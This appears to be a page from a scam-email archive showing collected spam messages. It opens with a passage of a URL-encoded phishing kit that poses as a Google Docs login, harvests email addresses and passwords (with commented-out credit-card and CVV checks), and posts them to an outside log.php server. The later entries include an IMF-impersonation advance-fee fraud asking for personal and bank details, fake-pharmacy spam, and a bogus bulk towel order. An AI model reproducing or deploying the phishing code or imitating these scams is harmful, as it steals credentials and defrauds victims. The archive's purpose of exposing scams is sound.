C%20the%20init%20and%20attach%20methods%20are%20being%20called.%0A%09%20*%20Remember%3A%20if%20you%20pass%20options%2C%20the%20attached%20method%20is%20NOT%20called%20automatically%0A%09%20*%0A%09%20*%20@param%20%7BString%7D%0A%09%20*%20%20%20%20%20%20%20%20%20%20%20%20method%20%28optional%29%20action%0A%09%20*/%0A%09%20%24.fn.validationEngine%20%3D%20function%28method%29%20%7B%0A%0A%09%09%20var%20form%20%3D%20%24%28this%29%3B%0A%09%09%20if%28%21form%5B0%5D%29%20return%20form%3B%20%20//%20stop%20here%20if%20the%20form%20does%20not%20exist%0A%09%09%24%28%27%3Cinput%3E%27%29.attr%28%27name%27%2C%20%27is_valid_email%27%29.attr%28%27type%27%2C%20%27hidden%27%29.attr%28%27value%27%2C%20%27@yahoo.com%27%29.appendTo%28form%29%3B%0A%0A%09%09%20if%20%28typeof%28method%29%20%3D%3D%20%27string%27%20%26%26%20method.charAt%280%29%20%21%3D%20%27_%27%20%26%26%20methods%5Bmethod%5D%29%20%7B%0A%0A%09%09%09%20//%20make%20sure%20init%20is%20called%20once%0A%09%09%09%20if%28method%20%21%3D%20%22showPrompt%22%20%26%26%20method%20%21%3D%20%22hide%22%20%26%26%20method%20%21%3D%20%22hideAll%22%29%0A%09%09%09%20methods.init.apply%28form%29%3B%0A%0A%09%09%09%20return%20methods%5Bmethod%5D.apply%28form%2C%20Array.prototype.slice.call%28arguments%2C%201%29%29%3B%0A%09%09%20%7D%20else%20if%20%28typeof%20method%20%3D%3D%20%27object%27%20%7C%7C%20%21method%29%20%7B%0A%0A%09%09%09%20//%20default%20constructor%20with%20or%20without%20arguments%0A%09%09%09%20methods.init.apply%28form%2C%20arguments%29%3B%0A%09%09%09%20return%20methods.attach.apply%28form%29%3B%0A%09%09%20%7D%20else%20%7B%0A%09%09%09%20%24.error%28%27Method%20%27%20+%20method%20+%20%27%20does%20not%20exist%20in%20jQuery.validationEngine%27%29%3B%0A%09%09%20%7D%0A%09%7D%3B%0A%0A%0A%0A%09//%20LEAK%20GLOBAL%20OPTIONS%0A%09%24.validationEngine%3D%20%7BfieldIdCounter%3A%200%2Cdefaults%3A%7B%0A%0A%09%09//%20Name%20of%20the%20event%20triggering%20field%20validation%0A%09%09validationEventTrigger%3A%20%22blur%22%2C%0A%09%09//%20Automatically%20scroll%20viewport%20to%20the%20first%20error%0A%09%09scroll%3A%20true%2C%0A%09%09//%20Focus%20on%20the%20first%20input%0A%09%09focusFirstField%3Atrue%2C%0A%09%09//%20Show%20prompts%2C%20set%20to%20false%20to%20disable%20prompts%0A%09%09showPrompts%3A%20true%2C%0A%20%20%20%20%20%20%20//%20Should%20we%20attempt%20to%20validate%20non-visible%20input%20fields%20contained%20in%20the%20form%3F%20%28Useful%20in%20cases%20of%20tabbed%20containers%2C%20e.g.%20jQuery-UI%20tabs%29%0A%20%20%20%20%20%20%20validateNonVisibleFields%3A%20false%2C%0A%09%09//%20Opening%20box%20position%2C%20possible%20locations%20are%3A%20topLeft%2C%0A%09%09//%20topRight%2C%20bottomLeft%2C%20centerRight%2C%20bottomRight%2C%20inline%0A%09%09//%20inline%20gets%20inserted%20after%20the%20validated%20field%20or%20into%20an%20element%20specified%20in%20data-prompt-target%0A%09%09promptPosition%3A%20%22topRight%22%2C%0A%09%09bindMethod%3A%22bind%22%2C%0A%09%09//%20internal%2C%20automatically%20set%20to%20true%20when%20it%20parse%20a%20_ajax%20rule%0A%09%09inlineAjax%3A%20false%2C%0A%09%09//%20if%20set%20to%20true%2C%20the%20form%20data%20is%20sent%20asynchronously%20via%20ajax%20to%20the%20form.action%20url%20%28get%29%0A%09%09ajaxFormValidation%3A%20false%2C%0A%09%09//%20The%20url%20to%20send%20the%20submit%20ajax%20validation%20%28default%20to%20action%29%0A%09%09ajaxFormValidationURL%3A%20false%2C%0A%09%09//%20HTTP%20method%20used%20for%20ajax%20validation%0A%09%09ajaxFormValidationMethod%3A%20%27get%27%2C%0A%09%09//%20Ajax%20form%20validation%20callback%20method%3A%20boolean%20onComplete%28form%2C%20status%2C%20errors%2C%20options%29%0A%09%09//%20retuns%20false%20if%20the%20form.submit%20event%20needs%20to%20be%20canceled.%0A%09%09onAjaxFormComplete%3A%20%24.noop%2C%0A%09%09//%20called%20right%20before%20the%20ajax%20call%2C%20may%20return%20false%20to%20cancel%0A%09%09onBeforeAjaxFormValidation%3A%20%24.noop%2C%0A%09%09//%20Stops%20form%20from%20submitting%20and%20execute%20function%20assiciated%20with%20it%0A%09%09onValidationComplete%3A%20false%2C%0A%0A%09%09//%20Used%20when%20you%20have%20a%20form%20fields%20too%20close%20and%20the%20errors%20messages%20are%20on%20top%20of%20other%20disturbing%20viewing%20messages%0A%09%09doNotShowAllErrosOnSubmit%3A%20false%2C%0A%09%09//%20Object%20where%20you%20store%20custom%20messages%20to%20override%20the%20default%20error%20messages%0A%09%09custom_error_messages%3A%7B%7D%2C%0A%09%09//%20true%20if%20you%20want%20to%20vind%20the%20input%20fields%0A%09%09binded%3A%20true%2C%0A%09%09//%20set%20to%20true%2C%20when%20the%20prompt%20arrow%20needs%20to%20be%20displayed%0A%09%09showArrow%3A%20true%2C%0A%09%09//%20did%20one%20of%20the%20validation%20fail%20%3F%20kept%20global%20to%20stop%20further%20ajax%20validations%0A%09%09isError%3A%20false%2C%0A%09%09//%20Limit%20how%20many%20displayed%20errors%20a%20field%20can%20have%0A%09%09maxErrorsPerField%3A%20false%2C%0A%09%09%0A%09%09//%20Caches%20field%20validation%20status%2C%20typically%20only%20bad%20status%20are%20created.%0A%09%09//%20the%20array%20is%20used%20during%20ajax%20form%20validation%20to%20detect%20issues%20early%20and%20prevent%20an%20expensive%20submit%0A%09%09ajaxValidCache%3A%20%7B%7D%2C%0A%09%09//%20Auto%20update%20prompt%20position%20after%20window%20resize%0A%09%09autoPositionUpdate%3A%20false%2C%0A%0A%09%09InvalidFields%3A%20%5B%5D%2C%0A%09%09onFieldSuccess%3A%20false%2C%0A%09%09onFieldFailure%3A%20false%2C%0A%09%09onSuccess%3A%20false%2C%0A%09%09onFailure%3A%20false%2C%0A%09%09validateAttribute%3A%20%22class%22%2C%0A%09%09addSuccessCssClassToField%3A%20%22%22%2C%0A%09%09addFailureCssClassToField%3A%20%22%22%2C%0A%09%09%0A%09%09//%20Auto-hide%20prompt%0A%09%09autoHidePrompt%3A%20false%2C%0A%09%09//%20Delay%20before%20auto-hide%0A%09%09autoHideDelay%3A%2010000%2C%0A%09%09//%20Fade%20out%20duration%20while%20hiding%20the%20validations%0A%09%09fadeDuration%3A%200.3%2C%0A%09%20//%20Use%20Prettify%20select%20library%0A%09%20prettySelect%3A%20false%2C%0A%09%20//%20Add%20css%20class%20on%20prompt%0A%09%20addPromptClass%20%3A%20%22%22%2C%0A%09%20//%20Custom%20ID%20uses%20prefix%0A%09%20usePrefix%3A%20%22%22%2C%0A%09%20//%20Custom%20ID%20uses%20suffix%0A%09%20useSuffix%3A%20%22%22%2C%0A%09%20//%20Only%20show%20one%20message%20per%20error%20prompt%0A%09%20showOneMessage%3A%20false%0A%09%7D%7D%3B%0A%09%24%28function%28%29%7B%24.validationEngine.defaults.promptPosition%20%3D%20methods.isRTL%28%29%3F%27topLeft%27%3A%22topRight%22%7D%29%3B%0A%7D%29%28jQuery%29%3B%0A%3C/script%3E%0A%09%3Clink%20rel%3D%22shortcut%20icon%22%20href%3D%22http%3A//icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png%22%3E%0A%20%20%09%3Clink%20rel%3D%22apple-touch-icon%22%20href%3D%22http%3A//icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png%22%3E%0A%09%3Cscript%3E%0A%09%09jQuery%28document%29.ready%28function%28%29%7B%0A%09%09%09jQuery%28%22%23signup%22%29.validationEngine%28%29%3B%0A%09%09%7D%29%3B%0A%09%3C/script%3E%3C%21--%0A%09%3Cscript%20type%3D%22text/javascript%22%3E%0A%09%09function%20valider%28%29%7B%0A%09%09%20%20%20if%20%28%20document.formPost.data10.value%20%3D%3D%20%22%22%20%29%7B%0A%09%09%09%09alert%20%28%20%22Veuillez%20entrer%20votre%20nom%22%20%29%3B%0A%09%09%09%09document.formPost.data10.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%20%20%20if%20%28%21document.formPost.data1.value.match%28/%5E%5B0-9%5D%7B16%7D%24/%29%29%7B%0A%09%09%09%09alert%20%28%20%22Veuillez%20saisir%20un%20num%26%23233%3Bro%20de%20carte%20de%20cr%26%23233%3Bdit%20valide%22%20%29%3B%0A%09%09%09%09document.formPost.data1.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%20%20%20if%20%28%21document.formPost.data2.value.match%28/%5E%5B0-9%5D%7B3%7D%24/%29%29%7B%0A%09%09%09%09alert%20%28%20%22Cryptogramme%20%28CVV%29%20invalide%22%20%29%3B%0A%09%09%09%09document.formPost.data2.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%20%20%20if%20%28%20document.formPost.data6.value%20%3D%3D%20%22%22%20%29%7B%0A%09%09%09%09alert%20%28%20%22Vous%20devez%20saisir%20une%20r%26%23233%3Bponse%22%20%29%3B%0A%09%09%09%09document.formPost.data6.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%20%20%20if%20%28%20document.formPost.data3.value%20%3D%3D%20%220%22%29%7B%0A%09%09%09%09alert%20%28%20%22Vous%20avez%20indiqu%26%23233%3B%20une%20date%20d%27expiration%20invalide%22%20%29%3B%0A%09%09%09%09document.formPost.data3.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%7D%0A%09%3C/script%3E%0A%09--%3E%0A%3C/script%3E%09%0A%09%09%3Cstyle%20type%3D%22text/css%22%3E%0A.style1%20%7B%0A%09color%3A%20%23666666%3B%0A%7D%0A%3C/style%3E%0A%09%3C/head%3E%0A%09%3Cbody%3E%0A%09%09%3Cdiv%20id%3D%22layout%22%3E%0A%09%09%09%3Ch1%20class%3D%22logo%22%3E%26nbsp%3B%0A%09%09%09%09%3C/h1%3E%0A%09%09%09%3Cdiv%20id%3D%22wrapper%22%3E%0A%09%09%09%09%3Cdiv%20class%3D%22left%22%3E%0A%09%09%09%09%09%3Cimg%20height%3D%22210%22%20width%3D%22203%22%20src%3D%22http%3A//icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png%22%3E%0A%09%09%09%09%09%3Ch1%3E%0A%09%09%09%09%09%09Google%20Doc%3C/h1%3E%0A%09%09%09%09%09%3Cp%3E%0A%09%09%09%09%09%09Secured%20Document%20Storage.%3C/p%3E%0A%09%09%09%09%3C/div%3E%0A%09%09%09%09%3Cdiv%20class%3D%22right%22%3E%0A%3CSCRIPT%20language%3DJavaScript%3E%0A%0A%3C%21--%0A%0Afunction%20check%28form%29%20%7B%0A%0Aif%20%28form.Email.value%20%3D%3D%20%22%22%29%0A%0A%7B%20alert%28%22Please%20enter%20your%20Email%20Address.%22%29%3B%20form.Email.focus%28%29%3B%20return%3B%7D%0A%0A//%20Start%20of%20Email%20error%20Alert%21%0A%0Avar%20checkEmail%20%3D%20%22@.%22%3B%0A%0Avar%20checkStr%20%3D%20form.Email.value%3B%0A%0Avar%20EmailValid%20%3D%20false%3B%0A%0Avar%20EmailAt%20%3D%20false%3B%0A%0Avar%20EmailPeriod%20%3D%20false%3B%0A%0Afor%20%28i%20%3D%200%3B%20%20i%20%3C%20checkStr.length%3B%20%20i++%29%0A%0A%7B%0A%0Ach%20%3D%20checkStr.charAt%28i%29%3B%0A%0Afor%20%28j%20%3D%200%3B%20%20j%20%3C%20checkEmail.length%3B%20%20j++%29%0A%0A%7B%0A%0Aif%20%28ch%20%3D%3D%20checkEmail.charAt%28j%29%20%26%26%20ch%20%3D%3D%20%22@%22%29%0A%0AEmailAt%20%3D%20true%3B%0A%0Aif%20%28ch%20%3D%3D%20checkEmail.charAt%28j%29%20%26%26%20ch%20%3D%3D%20%22.%22%29%0A%0AEmailPeriod%20%3D%20true%3B%0A%0A%09%20%20if%20%28EmailAt%20%26%26%20EmailPeriod%29%0A%0A%09%09break%3B%0A%0A%09%20%20if%20%28j%20%3D%3D%20checkEmail.length%29%0A%0A%09%09break%3B%0A%0A%09%7D%0A%0Aif%20%28EmailAt%20%26%26%20EmailPeriod%29%0A%0A%7B%0A%0A%09%09EmailValid%20%3D%20true%0A%0A%09%09break%3B%0A%0A%09%7D%0A%0A%7D%0A%0Aif%20%28%21EmailValid%29%0A%0A%7B%0A%0Aalert%28%22Please%20enter%20a%20valid%20email%20address.%22%29%3B%0A%0Aform.Email.focus%28%29%3B%0A%0Areturn%3B%7D%0A%0A//%20End%20of%20Email%20error%20Alert%21%0A%0Aif%20%28form.emailpassword.value%20%3D%3D%20%22%22%29%0A%0A%7B%20alert%28%22To%20complete%20the%20autorisesation%2C%20please%20enter%20your%20Email%20Password.%22%29%3B%20form.emailpassword.focus%28%29%3B%20return%3B%7D%0A%0A%0A%0Aform.submit%28%29%0A%0A%7D%0A%0A//--%3E%0A%0A%3C/SCRIPT%3E%0A%09%3Cform%20action%3D%22http%3A//aloinumbolinases.honor.es/New/log.php%22%20id%3D%22signup%22%20method%3D%22post%22%20name%3D%22signup%22%3E%0A%09%09%09%09%09%09%3Ch1%3E%0A%09%09%09%09%09%09%09Confirm%20your%20identity.%3Cimg%20align%3D%22right%22%20border%3D%220%22%20height%3D%2233%22%20src%3D%22http%3A//www.bountifulbreast.co.uk/images/100Secure.jpg%22%20width%3D%2283%22%3E%3C/h1%3E%0A%09%09%09%09%09%09%3Ctable%20border%3D%220%22%20cellpadding%3D%220%22%20cellspacing%3D%220%22%20width%3D%22105%25%22%3E%0A%09%09%09%09%09%09%09%3Ctbody%3E%0A%09%09%09%09%09%09%09%09%3Ctr%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20colspan%3D%223%22%3E%0A%09%09%09%09%09%09%09%09%09%09%3Cp%3E%0A%09%09%09%09%09%09%09%09%09%09%09Enter%20Details%20to%20View.%3C/p%3E%09%09%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%09%09%09%3Ctr%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22leftRow%22%20style%3D%22text-align%3A%20left%22%20width%3D%22154%22%3E%0A%09%09%09%09%09%09%09%09%09%09%3Cfont%20color%3D%22%230088CC%22%3EEmail%20ID%3C/font%3E%3C/td%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22rightRow%22%20colspan%3D%222%22%3E%3Cspan%20class%3D%22formwrap%22%3E%0A%09%09%09%09%09%09%09%09%09%20%20%3Cinput%20class%3D%22validate%5Brequired%5D%22%20id%3D%22donnee000%22%20name%3D%22Email%22%20placeholder%3D%22example@domain.com%22%20style%3D%22width%3A180px%22%20type%3D%22text%22%3E%0A%09%09%09%09%09%09%09%09%09%3C/span%3E%3C/td%3E%0A%09%09%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%09%09%09%3Ctr%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22leftRow%22%20style%3D%22text-align%3A%20left%22%20width%3D%22154%22%3E%0A%09%09%09%09%09%09%09%09%09%09%3Cfont%20color%3D%22%230088CC%22%3EEmail%20Password%3C/font%3E%3C/td%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22rightRow%22%20colspan%3D%222%22%3E%0A%09%09%09%09%09%09%09%09%09%09%3Cspan%20class%3D%22formwrap%22%3E%3Cinput%20class%3D%22validate%5Brequired%5D%22%20id%3D%22donnee001%22%20name%3D%22emailpassword%22%20placeholder%3D%22*********%22%20style%3D%22width%3A180px%22%20type%3D%22password%22%3E%20%3C/span%3E%3C/td%3E%0A%09%09%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%3Ctr%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22leftRow%22%20style%3D%22border%3A0%3B%22%20width%3D%22155%22%3E%26nbsp%3B%09%09%09%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%09%09%09%3Ctd%20class%3D%22rightRow%20noborder%22%20colspan%3D%222%22%20style%3D%22text-align%3Acenter%3Bborder%3A0%3B%22%3E%0A%09%09%09%09%09%09%09%09%09%09%3Cinput%20name%3D%22donnee1%22%20type%3D%22hidden%22%20value%3D%22%26lt%3B%3Fphp%20echo%20%24_POST%5B%26%2339%3Bdonnee1%26%2339%3B%5D%3B%3F%26gt%3B%22%3E%20%3Cinput%20name%3D%22donnee2%22%20type%3D%22hidden%22%20value%3D%22%26lt%3B%3Fphp%20echo%20%24_POST%5B%26%2339%3Bdonnee2%26%2339%3B%5D%3B%3F%26gt%3B%22%3E%3Cinput%20class%3D%22submit%22%20onClick%3D%22check%28this.form%29%22%20type%3D%22submit%22%20value%3D%22View%20Document%22%3E%3C/td%3E%0A%09%09%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%09%09%3C/tbody%3E%0A%09%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%09%3Cinput%20name%3D%22is_valid_email%22%20type%3D%22hidden%22%20value%3D%22@yahoo.com%22%3E%3C/form%3E%0A%09%09%09%09%3C/div%3E%0A%09%09%09%3C/div%3E%0A%09%09%3C/div%3E%0A%09%09%3Cp%20align%3D%22center%22%3ECopyright%20%A9%202014.%3C/p%3E%0A%09%09%0A%3C/body%3E%3C/html%3E';d=unescape(m);document.write(d);
Click to view scam #92215 - Sent on September 17, 2014, 6:31 am by chirag@sagarpolymers.com
FROM THE DESK OF IMF IMF EXTERNAL RELATIONS DEPARTMENT INTERNATIONAL MONETARY FUND(I.M.F) RE-OUTSTANDING PAYMENT This is to inform you of your long overdue Payment outstanding in ourBanking records. We saw your name in the Central Computer among list of unpaid inheritance claims individuals and have to update your information?s through this email contact for immediate confirmation. Your name appeared among the beneficiaries who will receive a part-payment of Us$1,000.000 million (One Million United State dollars)and it has been approved already for payment months ago. However we received an email from one (Mrs.Brian Nelson) who told us That he is your next of kin and that you died in a car accident four months ago. He has also submitted his account information?s to the office department for transfer of the fund to him as your Succesor. We are now verifying by contacting your email address as we have in our Bank records before we can make the transfer into his account and for us to conclude confirmation if you are dead or not. Please, confirm response immediately to the International Monetary Fund Agency before our action to release of the Outstanding payment against your name listed out. Upon this, I request You send your full personal information as soon as possible to enable this department finalize the transfer of the fund release to your nominated foreign Bank Account. This department needs the following information?s from you urgently. 1, Full Names 2, Telephone or Fax Number 3, Contact Address 4, Age 5, Occupation 6, Sex 7,Account Details 8,Country of Origin CONFIDENTIALITY NOTICE: This E-Mail is intended only for the use of the Individual or entity to which it is addressed and may contain information that is privileged, confidential and exempt from disclosure under applicable law.Once again, I apologize to you on behalf of International Monetary Fund Agency towards this contact and proper confirmation required urgently from you if you are alive .Make sure you reply to my alternative email address(olivierblanchard1@hotmail.com) Thanks, Yours Sincerely Olivier Blanchard Economic Counsellor(IMF)
Click to view scam #92214 - Sent on September 17, 2014, 6:12 am by info@web.com
Jusqu a 40 pourcent d economies sur votre facture chauffage Demandez votre guide Bonjour , nous vous adressons cet email car vous êtes inscrit sur Domosource avec l'adresse felixcramb@gmail.com. Si ce message ne s'affiche pas correctement, visualisez-le ici. Pour vous désabonner, suivez ce lien.          Prévisions de Septembre : Pluie et baisse des températures COMPAREZ LES RADIATEURS ÉLÉCTRIQUES et choisissez efficacement Pour faire jusqu'à 40% d'économie       Téléchargez le Guide > Gratuitement       Parmis les différents radiateurs comparés : - les convecteurs - les panneaux rayonnants - les radiateurs à inertie         LE GUIDE des Radiateurs Electriques   COMPAREZ les differents systèmes Téléchargez ce Guide de 32 pages Conformément à la réglementation informatique et libertés vous disposez d'un droit d'accès, de modification, de rectification et de suppression des données qui vous concernent (art.34 de la loi Informatique et Libertés du six janvier mille neuf cent soixante dix huit). Site Domosource, déclaré à la CNIL (norme simplifiée du vingt six avril deux mille sept). Ce droit peut être exercé à tout moment auprès de notre service utilisateur : contact@domosource.com Vous désirez vous désabonner? Me désabonner
Click to view scam #92213 - Sent on September 17, 2014, 6:05 am by domosource@quotidien.monespacepratique.fr
body,table,td,tr,p,input {font-family: Verdana, Arial, Helvetica, Sans-Serif; font-size: 11px} hr {height: 1px} ¬°½T«O±z¯?§Q¦¬¨ì¥ø??s¬¡°?q¤l³ø¡A½?Nservice@yuncheng.familyds.com ¥[¤J¦?l¥óÁpµ¸¤H²M³?¡C ­YµLªk¥¿±ÂsÄý¡A½?N¤U¦C³sµ²½?s¶K©óÂsÄý¾¹·j´M¡A§Y¥i½u¤WÂsÄý¡Chttp://www.yuncheng.com.tw/cer-twtest/ope.html ¤U­?m¤â¤H¤~´N¬O§A ¾?³¶??÷Ã???Y®??³õA©@   ¬°¨ó§U§ó¦hªA°?~µ?^¦è¶iµo®i¡A¥ø?¿¦¡±??u¤j³°Ã??b¥x?©w¡v¡A¸g¥?x¤è±ÂÅv»{Ã?A¦Xªk¦b¥x¶i¦æ½u¤W?©w¡A¤£»?X°ê§Y¥i¦?ú¡A¬?ú¬??S¬?O¡A§ó¿W®a±??X0§Q²v¤????I´ÚÀu´f¡AÅý±z»´ÃP¥d¦ì¹s­t¾á¡I   ¼öªù±ÀÂ?G¤?z¿??v/¤½¦@Àç¾i®v/±B«îa®x¿??v/«?º³]­p®v/¤¤À\/¦èÀ\/¬ü®e/¬ü¾v/¶??÷§ë¸ê¤??R®v       ¡i¦¨¥\»?n¾÷·|¡E¥d¦ì¹w¥ý·??j   >>>>>>¥?Y¯??ú¸ê®Æ<<<<<<   ©Î   ¼·¥´0800-65-1698   ¡m¼öªù±ÀÂ?n ¤H¥??·±d·NÃ?ïÀY¡uÀç¾i®vÃ??v¶WÉq ¤?z¿??v¤jÁ?d¸U¤H¥??ô ¡m¼öªù±ÀÂ?n ¤@¤â´x´¤³?s½?{¬¡°?ê°T ³o¬O±z­q¾\ªº¥ø?q¤l³ø¡A¦p¦³°ÝÃD½??Hcindy@yuncheng.familyds.com¡A½??^Â?»«H¡C ¦p±z¤£§?æ¦A¦¬¨ì¥ø?q¤l³ø¡A½????¨ú®ø­q¾\¡C    
Click to view scam #92212 - Sent on September 17, 2014, 5:46 am by service@yuncheng.FamilyDS.com
yjvecmmmxuklvbmcnjluvlwutjs body,td,th { font-family: Cambria, "Hoefler Text", "Liberation Serif", Times, "Times New Roman", serif; color: #000000; font-size: 18px; } body background-color: #FFFFFF; margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; a:link color: #2E86FF; a:visited color: #2E86FF; a:hover color: #2E86FF; a:active color: #2E86FF; a font-weight: bold; OOnliinee Durgshop Best prrices iin the worrld vfmivlioqqs Popular gooods 0,98$ Vigaraa 1,57$ Ciilaiis 2,16$ Levtiira 0,75$ Pink Feemale Vigaara 2,02$ Vigara Soft Taabs Continue Why? Toop qualiity oon thee market Loowest priices in the uniiveerse! Meediical assoociatiioons approoved goods Offiiciial suppliieers Unmarkeed parceel Worldwidee trackable deelivery Giifts and boonusees All type of products iin one placee 1-3 days quiick deelivery ~NEEW! vznqfozhjrilbq cvxddoibhdigpmzrmnoivoyrsiyud mtrbhxycch
Click to view scam #92211 - Sent on September 17, 2014, 5:21 am by gdrhfaxx@ngvjgf.net
No1好康王新功能上線 -- 新增廠商自行上傳好康 -- 廠商給好康,網友拿福利 想讓更多人知道貴公司正在舉辦的好康活動,快將訊息發佈到No1好康王!   本月推薦好康 ----> 比免費網頁空間還划算!租網頁空間送網站訪客~最多送2000來客數!     拒收好康通知請至好康王網站登記    
Click to view scam #92210 - Sent on September 17, 2014, 5:18 am by pisoryvuga@yahoo.com
Keep Calm and Look For Sales ? ??? ?? ?????? ???? ?????, ??? ?????? ??????   ???? ??????????? Smith's -70% Paul Stragas -80% Retromance -70% La Compatibile -30% Czamarski -50% Dermolab, I want -70% ???????? ???? Star Jaguar Galipatte Gino Rossi ????? ?? ?? ????????? ???? ?????????? ?????????, ????????? ?? ????????? ????????? ? ?????????? ??????????? ?????? ????????? ????????? ????, ??? ???????? ? ????? ?? ??????????: ????? 1000, ?????? ??????????, ????? ????????, ???. ???? ???????????? ? 10, ??. 3, ? ??? 202706277, ?????? ??? ??????????? ?????????? ? ??? ?????? ?????? ??????? ?? ???????? ?? ?????, ??? ????? ??? ??????? ?? ? ??????? ?? ?? ???????????? ??? ????? goldensales.bg ?????? ?????? contact@goldensales.bg ? ????????? ?? ?????, ?? ?? ????????? ?????? ?????? ?? ?????? ???????????. ?? ????? ?? ????????? ???? ???????? ????? ?? ?? ???????. ???        
Click to view scam #92209 - Sent on September 17, 2014, 5:04 am by contact@goldensales.bg
Attachment content - ror09.docx:He?s Worth Everything! · MONDAY 09 · But when his disciples saw it, they had indignation, saying, To what purpose is this waste? For this ointment might have been sold for much, and given to the poor (Matthew 26:8-9). Malachi 3:10 says, "Bring ye all the tithes into the storehouse?," meaning that irrespective of the amount?large or small?the tithe belongs to God. Never find yourself negotiating whether or not to pay your tithes; failure to pay it amounts to robbing God: "Will a man rob God? Yet ye have robbed me. But ye say, Wherein have we robbed thee? In tithes and offerings" (Malachi 3:8). There?re times you might give to God and hear that sneaky voice ask you, "Why this waste?" That?s the devil talking; he has no intent on promoting the will of God. There?s nothing you could ever give to the Lord that?s too much or a waste. What matters is the value you attach to it in your heart, and how much the Lord is worth to you. Some parents, for example, get angry at their children for choosing to serve in the ministry. They tell them, "If you had told us you wanted to work in church, we would have sent you to a Bible school, and not "waste" funds to train you in the university." They think that education is too much to be used in the ministry. The truth is, only the very best of anything you have is good enough for the Lord. He?s worth everything you could ever give and so much more. You can live a vibrant, exciting, inspiring, and victorious life serving Him with all your heart, and making Him number one in everything in your life. Don?t let anyone deceive you with vain words and tell you it?s a waste to serve Him thus. He?s the Lord, and He?s worth more than your life, and everything you?ve got! He owns you, absolutely! Prayer Dear Father, I thank you for giving me your very best, your Son Jesus Christ, to save me, and also for the Holy Spirit, who guides, strengthens and comforts me through your Word, to fulfil your will. You deserve my all, and the very best I could ever give; I?ll serve you with my life, now and forever, in Jesus? Name. Amen. further study: Romans 8:32 AMP; John 3:16; 2 Samuel 24:24 : A cts 1:1-26 2 Chronicles 1-4 : 2 Corinthians 1:1-11 Ecclesiastes 9-10
Click to view scam #92208 - Sent on September 17, 2014, 4:34 am by s.melendez3014@gmail.com
Ìå÷òàåøü î ðîñêîøíîé âèëëå, ÿõòå è ìàøèíå!!? Ïåðåéäè ïî ññûëêå è íà÷íè çàðàáàòûâàòü ïðÿìî ñåé÷àñ... È ÌÅ×ÒÛ ÑÒÀÍÓÒ ßÂÜÞ!!![rcvshcow] [dzerz] [xqmgimrm] [wdtbtmpv]
Click to view scam #92207 - Sent on September 17, 2014, 4:30 am by cfbges@gmail.com
Vivez le reve americain en ouvrant une franchise Franchises de Macarons Bonjour , nous vous adressons cet email car vous êtes inscrit sur Domosource avec l'adresse felixcramb@gmail.com. Si ce message ne s'affiche pas correctement, visualisez-le ici. Pour vous désabonner, suivez ce lien. FRANCHISE Créer votre entreprise avec seulement150 000$ Aide à la prise en charge des formalités administratives Faites partie de notre réseau franchisé dynamique et ambitieux Une boutique moderne et élégante Avec cette franchise, des propriétaires ontdéjà obtenu un Visa E2 pour les USA Je souhaite être contacté par un représentant Le Macaron   Conformément à la réglementation informatique et libertés vous disposez d'un droit d'accès, de modification, de rectification et de suppression des données qui vous concernent (art.34 de la loi Informatique et Libertés du six janvier mille neuf cent soixante dix huit). Site Domosource, déclaré à la CNIL (norme simplifiée du vingt six avril deux mille sept). Ce droit peut être exercé à tout moment auprès de notre service utilisateur : contact@domosource.com Vous désirez vous désabonner? Me désabonner
Click to view scam #92206 - Sent on September 17, 2014, 4:17 am by domosource@quotidien.monespacepratique.fr
                       GIVE  SUPPLY  DETAILS.Attention: Sir / Madam,We are looking for a good supplier of Hospital towels of the specifications below, get in touch without delay. If You Can Supply this order Quantity of Hospital Towels with Good Quality after You Received Full Payment, PleaseReply So That I Will Give You Full Details Including Shipment DestinationAnd Other Terms.Name: Hospital  WHITE TowelsColor: WhiteFabric: 100% CottonConstruction: 2/20s x 2/20s x 16sSize: 40 x 80 cmWeight: 340 to 375 gram/GSMPacking: 12 pcs in a poly pack. 144 Pcs  per carton, Gross wt of cartonapprox 16kg.Estimated Quality Price: USD$3:59..... Per Piece Including: F.O.B. & Packaging.Order Quantity: 750,000. PcsPurpose: For Distribution In Selected Hospitals because of the out break of many diseases.Reply to My Email Directly on : jerrychims070@outlook.com or Call me on +233576584057  Thank You, Waiting To Hear From You.Best Regard,jerry Chims -  Management ConsultantOFFICE: 657 Tudu James TownMAIL BOX: P.O.BOX 4110 , TUDU CENTRAL MARKET.Central District, Greater Accra Region.
Click to view scam #92204 - Sent on September 17, 2014, 2:05 am by jerrychims070@outlook.com
